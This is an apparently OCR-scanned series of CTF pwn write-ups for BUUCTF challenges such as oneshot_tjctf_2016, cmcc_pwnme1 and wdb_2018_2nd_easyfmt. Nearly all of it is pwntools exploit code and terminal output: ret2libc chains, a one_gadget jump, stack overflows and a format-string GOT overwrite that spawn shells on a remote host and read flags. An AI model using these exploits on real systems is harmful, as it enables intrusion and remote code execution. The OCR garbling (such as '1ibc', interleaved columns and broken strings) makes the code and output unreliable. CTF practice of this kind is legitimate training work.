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120, wustctf2020_number_game

101. gyctf 2020_force

102. oneshot_tjctf_2016 one_gadget

Challenge 73 Solves

oneshot_tjctf_2016
48

Ubuntu 16

Instance Info
Remaining Time: 9179s
node3.buuoj.cn:29808

Destroy this instance Renew this instance

root@ubuntu:~# python3 oneshot.py from pwn import * .
[*] '/root/libc-2.23.s0' from LibcSearcher import

Arch: amd64-64-1little #lo=process("./")

RELRD: :.-'.:_t-.-.-'.:-. :ZEL:i':::' .I.IbC:ELF( Ille'2~23.SOI)

Stack: elf=ELF("oneshot")

NX: io=remote("node3.buuoj.cn",29808)
PIE: Puts_addr:glfrgor['puts']
'/root/oneshot’ Llo.recvuntil("\n")

Arch: amd64-64-1little io.sendline(str(puts_addr))
RELRO: io.recvuntil("value: ")

Stack: puts_addr=int(io.recv(18),16)

NX: libc_base=puts addr-libc.symbols['puts']
PIE: oneshot_addr=1ibc_base+0x45216
io.sendline(str{oneshot_addr))

+] Opening connection to node3.buuoj.cn on
[+] Op g J io.interactive()

[*] Switching to interactive mode

Jump location?
ood luck!

cat flag
lag{d22f1ed9-8f85-4348-8c54-c193c3a52a95}

103. gyctf _2020_some_thing_interesting



104. ciscn_2019 en_3

105. cmcc_pwnme1
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Challenge 68 Solves

cmcc_pwnmel
55

Ubuntu 16 3Ej&: https:/github.com/bash-c/pwn_repo

Instance Info
Remaining Time: 105515

node3.buuoj.cn:28026

Destroy this instance Renew this instance

Submit

Tl
[a5]
(]

[#*] '/root/pwnmel'
Arch: i386-32
RELRO: Partial
Stack:
NX:
PIE:
RWX:
[+] Opening connection to node3.buucj.cn on port 28826: Done
[+] ubuntu-xenial-amd64-1ibc6-1386 (id libc6-1386 2.23-0ubuntul® amd64) be choos
ed.
[#] switching to interactive mode
~\x85\x04
Welcome
ok...here is a question: which fruit do you like ?
Please input your choice:
1.Apple
2.Pear
3.Balana
4.Peach
5.A1L1 not? Input the name ?
6. Exit
Please input the name of fruit:oh,aaaaaaaaaaaaaaaaaaaaaaaaaaasaaaaaaaaaaaaaaaaaa
3332323232323232323233323233323232323333333333333333333333333333333333333333333a
4333333333333233323333333333333333333a33aa@T\xed\xF7\xF4\x86\x044+0\xF2\xF7...
cat flag
flag{44c41b4f-0aa6-4706-8ca2-7b93c103296d}
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from pwn import *

from LibcSearcher import *
#io=process("./pwnmel")
elf=ELF("./pwnmel")
io=remote("node3.buuoj.cn",28026)
puts_got_addr=elf.got['puts']
puts_plt_addr=elf.plt["puts"]
main_addr=elf.symbols["main"]
io.sendline("5")
payload=b'a'*(0xad4+4)+p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
io.sendline(payload)
io.recvuntil("...\n")
puts_addr=u32(io.recv(4))

libc = LibcSearcher('puts', puts_addr)
libc_base_addr=puts_addr-1libc.dump('puts')

system_addr=1ibc_base_ addr+libc.dump('system')
binsh_addr=1ibc_base_addr+libc.dump('str_bin_sh')

io.sendline("5")

payload=b'a'*(0xa4+4)+p32(system addr)+p32(main_addr)+p32(binsh_addr)
io.sendline(payload)

io.interactive()|

106. x_ctf _bOverflow
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Challenge 68 Solves X

x_ctf_boverflow
55

Ubuntu 16 3E{&: https://github.com/bash-c/pwn_repo

& bOoverflow

Instance Info
Remaining Time: 9577s

node3.buuoj.cn:29651

Destroy this instance Renew this instance

Flag Submit




from pwn import * root@ubuntu: ~
from LibcSearcher import *

#io=process("./flow")

elf=ELF("./flow")

io=remote("node3.buvoj.cn",27733)

puts_got_addr=elf.got['puts']

puts_plt_addr=elf.plt["puts"]

main_addr=elf.symbols["main"]
payload=b'a'*(0x20+4)+p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr)
io.sendline(payload)

io.recvuntil(".")

File Edit View Search Terminal Help

puts_addr=u32(io.recv(4)) [+] Opening connection to nede3.buucj.cn on port 27733:
print(hex(puts_addr)) exf7d7d14e

[+] ubuntu-xenial-amd64-1ibc6-1386 (id libc6-1386_2.23-Gubuntul®_amd64
libc = LibcSearcher('puts', puts_addr) ed. e . .
libc_base_addr=puts_addr-1libc.dump('puts’) [*] switching to interactive mode
system_addr=1ibc_base_addr+Llibc.dump('system') \xe6\x83@e\xd3\xf7

binsh_addr=1ibc_base_addr+libc.dump('str_bin_sh')
payload=b'a'*(0x20+4)+p32(system_addr)+p32(main_addr)+p32(binsh_addr)
io.sendline(payload)

io.interactive()

Hello aaaaaaaasaaaaaaaaaaaaaaaaaaaaaaaaaaa@\x89\xds5\xf7\xee\x8cat flag
flag{44c8b379-d7f6-4db4-94ea-6cb722fasd27}

107. zctf2016_note2
108. gyctf _2020_signin

109. suctf 2018 basic pwniE 4 i

Challenge 68 Solves

suctf_2018_basic pwn
55

Ubuntu 18 3E{&: https:/github.com/hebtuerror404

& suCTF 201...

Instance Info
Remaining Time: 10611s

node3.buuoj.cn:29400

Renew this instance

Destroy this instance

Flag Submit



from pwn import *
io=remote( 'node3.buuoj.cn',29400)
fun_addr=0x401157

payload=b'a'*(0x110+8)+p64(fun_addr)
io.sendline(payload)

io.interactive()

root@ubuntu: ~

File Edit View Search Terminal Help

root@ubuntu:~# python3 basic.py
[+] Opening connection to node3.buuoj.cn on port 29400:
[#] switching to interactive mode
flag{ebb34b49-3197-4232-b930-1464766Ca428}
[#] Got EOF while reading in interactive

[#*] Interrupted
root@ubuntu:~# checksec basic
[#] '"/root/basic'
Arch: amd64-64-1little
RELRO:
Stack:
NX:
PIE:
root@ubuntu:~-# I

110. [BJDCTF 2nd]rci

111. wdb2018_guess

112. roarctf_2019_realloc_magic

113. wustctf2020_name_your_cat
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Challenge &4 Solves

wustctfzo2o0_name_your_ce
60

Ubuntulé.04

Instance Info
Remaining Time: 10618s

node3.buuoj.cn:26507

II!HEHHHHEHHHHHIHHHIII IIHEHHHIHHHHHHHHHHHII
Flag Submit

from pwn import *
from LibcSearcher import *
#lo=process("./")

io=remote("node3.buuoj.cn",26507) & root@ubuntu: ~

shell_addr=8x80485ch

io.sendline("7") Mame for which?
io.sendline(p32(shell_addr)) >Give your name plz: You get 2
io.sendline("7") lemonlemonlemonlemonlemonlemonlemon5555555
io.sendline(p32(shell_addr)) Her name is: \x04

io.sendline("7")

io.sendline(p32(shell_addr)) Name for which?

io.sendline("7") >Give your name plz: )
io.sendline(p32(shell_addr)) lemonlemonlemonlemonlemonlemonlemon5555555
io.sendline("7") Her name is: \x04
io.sendline(p32(shell_addr))

io.interactive() Mame for which?

>Give your name plz: Y
lemonlemonlemonlemonlemonlemonlemon5555555
Her name is: \x04

Name for which?

=Give your name plz: Y
lemonlemonlemonlemonlemonlemonlemon5555555
Her name is: \x04

cat flag
flag{d3c95253-49fﬁ;|_ Sb2d,_—|_ﬁ,a49_9@ 8f
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114. picoctf_2018_leak_me
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Challenge 67 Solves

picoctf_2018_leak_me
56

Ubuntu 16 3Ej&: https:/github.com/hebtuerror404

X PicoCTF_20...

Instance Info
Remaining Time: 107515

node3.buuoj.cn:26656

Destroy this instance Renew this instance

Flag Submit

root@ubuntu:~# python3 leak.py
[+] Opening connection to node3.buuoj.cn on port 26656: Done
[*#] Switching to interactive mode

What is your name? o leak.py (~/) - gedit

Hello a,
Please Enter the Password. Open ~ 1
flag{60a51b08-3ded-44086-b7cb-13614794b16c}
[i Got EOF while reading in interactive

from pwn import *
from LibcSearcher import *
#io=process(".f")
io=remote("node3.buuoj.cn",26656])
io.sendline("a")
payload=b'a_reAllY_s3cuRe_p4sSword_f85406"
io.sendline(payload)

io.interactive()

115. wdb_2018_2nd_easyfmt #% XL FF




Challenge 64 Solves

wdb_2018_2nd_easyfmt
60

Ubuntuls.04

Vhttps://github.com/hacker-
mao/ctf_repo/tree/master/2018WDB

Instance Info
8474s

node3.buuoj.cn:299%20

Destroy this instance Renew this instance

Flag Submit

Remaining Time

root@ubuntu: -~
[*] '/root/easyfmt'
Arch: 1386-32-1little

RELRO: Partial RELRO
Stack:
NX:
PIE:
root@ubunt

W6, MgprintfEszihhl, libciksystemitsiil:, printfisystem
e e |

from pwn import *

from LibcSearcher import *
#lo=process("./easyfmt")
elf=ELF("easyfmt")
lo=remote("node3.buuoj.cn",29990) File Edit View Search Terminal Help
printf_got_addr=elf.got['printf']

root@ubuntu: ~

8: archive-old-glibc (i ibc6-amd64_2.8~20080505-0ubuntu7_i386)
u (ori T S archive-glibc (id 1libcé 3-8ubuntule_i386)
payload=p32(printf_got_addr)+b'%6Ss 1 2 . 2.8~20080585-8ubuntus_1386)

io.recvuntil("repeaterz\n")
io.sendline(payload)
io.recv(4)
printf_addr=u32(io.recv(4))

- 2.3.6-0ubuntu20.6 1386)

C (id libc6_2. 0080505-0ubuntu7_amd64)

ubuntu-xenial-amd64-1ibc6-1386 (id libc6-1386_2.23-0ubuntul®_amdé64)
: archive-old-glibc (id 1ibc6_2.9-4ubuntus_amd64)
Please supply more info using

add_condition(leaked func, leaked_address)

e it by hand

t' to quit:13

libc = LibcSearcher('printf', printf_addr)
libc_base_addr=printf_addr-libc.dump('printf')
system_addr=1ibc_base_addr+1libc.dump('system’)
payload=fmtstr_payload(6,{printf_got_addr:system_addr})
io.sendline(payload)

io.sendline('/bin/sh')

io.interactive()

[+] ubuntu-xenial-amd64-1ibc6-1386 (id 1ibc6-1386_2.23-0ubuntul®_amd64) be choos

Switching to interactive mode
@gq\xel\xT7@\x05\xf76\x84
\xao\xf9\xf7. a9\ xf9\xf7\xa0\x89\x9a\xff\xea\x82
X

\x9eaaa\x15\x0 > 6\ x0: 17\x04
b\xf6\xf7\xec
I cat flag
flag{bc7e34cc-b81e-4084-92db-f5edodd4b222}

116. [GKCTF2020]Domo



117, 5% M #2019 #l& STKOF

118. picoctf_2018_buffer overflow 0
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Challenge 55 Solves

picoctf_2018_buffer
overflow o

71

| https://github.com/hebtuerror4Q4

sshZ ), FHFPE CTFMan, =83 guest,

Instance Info
Remaining Time: 9478s
node3.buuoj.cn:27517

Destroy this instance Renew this instance

Flag Submit

from pwn import *
fun_addr=0x804862b
sh = ssh(host="node3.buuoj.cn', user='CTFMan', password='guest', port=27517)
payload = b'a' * (0x18+4)+p32(fun_addr)+b'aaaa’
p = sh.process(argv=["./vuln', payload])
root@ubuntu: ~

File Edit View Search Terminal Help
root@ubuntu:~# python3 flow.py
[+] Connecting to node3.buuoj.cn on port 27517: Done
[*] CTFMan@node3.buuoj.cn:

Distro Unknown

p.interactive()

0s: 1inux
Arch: amde4
Version: 4.19.164

ASLR:
[+] Starting remote process './vuln' on node3.buuoj.cn: pid 312
[#] Switching to interactive mode .
flag{8d334165-fd78-4571-aebc-0fb41fochBreit

119. mrctf2020_shellcode_reven



120. wustctf2020_number_game
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